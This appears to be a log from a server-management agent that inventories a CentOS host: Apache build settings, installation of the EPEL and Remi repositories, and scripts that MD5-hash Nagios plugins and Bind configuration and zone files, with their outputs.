Server MPM:     event
  threaded:     yes (fixed thread count)
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_SYSVSEM_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/httpd"
 -D SUEXEC_BIN="/usr/sbin/suexec"
 -D DEFAULT_PIDLOG="run/httpd.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="conf/mime.types"
 -D SERVER_CONFIG_FILE="conf/httpd.conf"

Script done on 2025-10-22 12:26:13+00:00
available=conf.d


2025-10-22 12:26:13: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 1,
  'name' => 'messier',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'CentOS Linux 8.5.2111',
  'mac' => 0,
  'rel' => '8.5.2111',
  'distro' => 'centos',
  'swapfile' => '/dev/dm-1',
  'web' => 
  array (
    'Wed Oct 22 12:26:13.629798 2025' => 
    array (
      'conf' => 'conf/httpd.conf',
      'available' => 'conf.d',
    ),
  ),
)


2025-10-22 12:26:13: 

PUT: /tmp/pkp143408

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/etc/yum.repos.d/remi-php73.repo" ]; then
		yum -y install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm > /dev/null 2>&1
		yum -y install http://rpms.remirepo.net/enterprise/remi-release-8.rpm > /dev/null 2>&1
	fi
	if [ ! -f "/usr/bin/yum-config-manager" ]; then
		yum -y install yum-utils > /dev/null 2>&1
	fi
	
	for filename in /etc/yum.repos.d/rem*.repo; do
		show_file $filename
	done
fi

gzip -cn9 $temp_file
rm $temp_file


2025-10-22 12:26:14: 

chmod 755 /tmp/pkp143408; /tmp/pkp143408; rm /tmp/pkp143408

2025-10-22 12:26:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/yum.repos.d/rem*.repo





STDERR:
cat: '/etc/yum.repos.d/rem*.repo': No such file or directory


2025-10-22 12:26:18: 

PUT: /tmp/pkp963878

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-10-22 12:26:19: 

chmod 755 /tmp/pkp963878; /tmp/pkp963878; rm /tmp/pkp963878

2025-10-22 12:26:19: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_apt)= 2bbca7044227bffb9b3168d71bf478ee
bin(/usr/local/nagios/libexec/check_cluster)= 333d27e2269e00826eec2195abbec2bc
bin(/usr/local/nagios/libexec/check_disk)= ec0aec528fd5a81b0ad40c4d5085c3a9
bin(/usr/local/nagios/libexec/check_dummy)= 956cbbde4a102afbdbbb9064ec8fe9e0
bin(/usr/local/nagios/libexec/check_http)= ddd428e4ffb285fb89c532382836d598
bin(/usr/local/nagios/libexec/check_load)= b3711310df82e58581aed67bd1a2c84c
bin(/usr/local/nagios/libexec/check_mrtg)= 5deebfb2cc9c9f6a0ce96369c4e8298d
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 4c8f07ef31dad8686e183da08460e9b7
bin(/usr/local/nagios/libexec/check_ntp)= 95103c78da699bea84e6295e7432d59b
bin(/usr/local/nagios/libexec/check_ntp_peer)= 72ac5ffc94e807c3c7aa07d2988e76a2
bin(/usr/local/nagios/libexec/check_nwstat)= 1c7c31bff91cb1551ee9ad615e7022ab
bin(/usr/local/nagios/libexec/check_overcr)= 03643d53d43d8e19e59e3277cc80b1c5
bin(/usr/local/nagios/libexec/check_ping)= 8cf23bb0dd8d18d944f45b4faa8c7d78
bin(/usr/local/nagios/libexec/check_real)= 578fc15fc6896378b1394b4240084d03
bin(/usr/local/nagios/libexec/check_smtp)= 08b35774427b6d7be34ab0025e7fd635
bin(/usr/local/nagios/libexec/check_ssh)= 4f7f67162e88ca436bf736788c4739d6
bin(/usr/local/nagios/libexec/check_tcp)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_time)= 1da07f652ccdd42858b4df59fa4bf783
bin(/usr/local/nagios/libexec/check_ntp_time)= e4c59b23650dfbfac4aed9575799a02e
bin(/usr/local/nagios/libexec/check_ups)= fb422cdf25994339e23bc0888c241edd
bin(/usr/local/nagios/libexec/check_users)= 5f049714e16a1cfc6ce7efa0dcefc96e
bin(/usr/local/nagios/libexec/check_pgsql)= b44e0c96be0eb366daef447ff75ad272
bin(/usr/local/nagios/libexec/check_ldap)= bdd3b5ae5ad2214c9bc6c2aa39166114
bin(/usr/local/nagios/libexec/check_ide_smart)= 62c8f9ad745d9976e5cdee9d257ffd07
bin(/usr/local/nagios/libexec/check_uptime)= 97a5b432635e17c17470040dda8e1a36
bin(/usr/local/nagios/libexec/check_mysql)= b62ce000678efc59c90bd7cf05371639
bin(/usr/local/nagios/libexec/check_mysql_query)= f0a1cb779cbfccdbdb1c9edf418a8782
bin(/usr/local/nagios/libexec/check_procs)= 96b46127c918c6ef97593ecafde31d9d
bin(/usr/local/nagios/libexec/check_nagios)= 2ebd1687684f1f4e59228052c52e8e71
bin(/usr/local/nagios/libexec/check_by_ssh)= 3348d3a203576e8a4ec02c01623aefcc
bin(/usr/local/nagios/libexec/check_swap)= cc28aaab8eb075231ac5d039124c57ff
bin(/usr/local/nagios/libexec/check_nt)= bce5a2a2fcf825828378b88a943e8320
bin(/usr/local/nagios/libexec/check_ftp)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_imap)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_nntp)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_pop)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_udp)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_clamd)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_simap)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_spop)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_jabber)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_nntps)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_ssmtp)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_ldaps)= bdd3b5ae5ad2214c9bc6c2aa39166114
bin(/usr/local/nagios/libexec/check_breeze)= e6b2800f0a64ff552176dd62e1250c26
bin(/usr/local/nagios/libexec/check_disk_smb)= f7005b432f2eeb47ea19efe9991efce3
bin(/usr/local/nagios/libexec/check_flexlm)= 9e5fe4c175332f3598b4b6bf6519d3ca
bin(/usr/local/nagios/libexec/check_ircd)= cc26fb73fb1f31035523a1915e7e53f4
bin(/usr/local/nagios/libexec/check_log)= 397ee90aa10733fb26ed3eeb25599cf5
bin(/usr/local/nagios/libexec/check_oracle)= cef595059e8c65d4a2a0626079c96997
bin(/usr/local/nagios/libexec/check_rpc)= 4abb27b2d9d731e72ea8edb9e162153a
bin(/usr/local/nagios/libexec/check_sensors)= 7c488149c4386947a1c6a1dfaa81da09
bin(/usr/local/nagios/libexec/check_wave)= 0fa44d4db4e23c115f6365bc59bf3261
bin(/usr/local/nagios/libexec/check_ifstatus)= d752595242ad7db366285fd407eda8ac
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 1bc7abbb0869db9594d8c6f0ca57679e
bin(/usr/local/nagios/libexec/check_mailq)= aeac4c99edd031883493f9cce4592206
bin(/usr/local/nagios/libexec/check_file_age)= 13a389534c1522e149ba455a7268abf3
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= cce4d550ec2be290ff1fb80a61340950
bin(/usr/local/nagios/libexec/check_icmp)= 8da542afa0539f641f92a94937fb3730
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602


2025-10-22 12:26:20: Establishing a connection
2025-10-22 12:26:20: Establishing a connection
2025-10-22 12:26:20: 

PUT: /tmp/pkp388124

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-22 12:26:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp388124; rm /tmp/pkp388124'

2025-10-22 12:26:21: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


